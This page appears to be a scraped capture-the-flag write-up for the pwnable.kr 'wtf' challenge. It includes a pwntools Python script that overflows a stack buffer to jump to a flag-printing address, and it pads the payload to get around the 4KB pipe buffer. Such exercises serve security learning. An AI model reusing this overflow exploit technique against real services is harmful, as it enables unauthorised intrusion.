Q:
I don't understand why my exploit is not working.
I need your help.

download : http://pwnable.kr/bin/wtf
download : http://pwnable.kr/bin/wtf.py

Running at : nc pwnable.kr 9015

write-ups:

Thanks to the pipe in Kernel is 4KB.
if we fill it over 4KB, then the process of wtf will be blocking temporarily for waiting new data from pipe.

from pwn import *

r = remote('pwnable.kr', 9015)
r.recvuntil('payload please : ')

print "Connected!"

win = 0x4005F4 # system(/bin/cat flag)
payload = (0x38)*'B' +  p64(win) + '\x0a'
padding = 4093*'A' # for damn pipe buffer..

#gdb.attach(r, 'b *(main+84)')
show = "-1\n" + padding + payload + '\x0a'
r.send(show.encode('hex'))

r.interactive()

相关文章:

  • 2021-10-25
  • 2021-12-20
  • 2021-06-02
  • 2021-08-23
  • 2021-04-28
  • 2021-10-20
  • 2021-10-17
  • 2021-07-01
猜你喜欢
  • 2022-12-23
  • 2021-10-10
  • 2021-06-01
  • 2021-09-13
  • 2021-07-09
  • 2021-12-07
  • 2021-08-08
相关资源
相似解决方案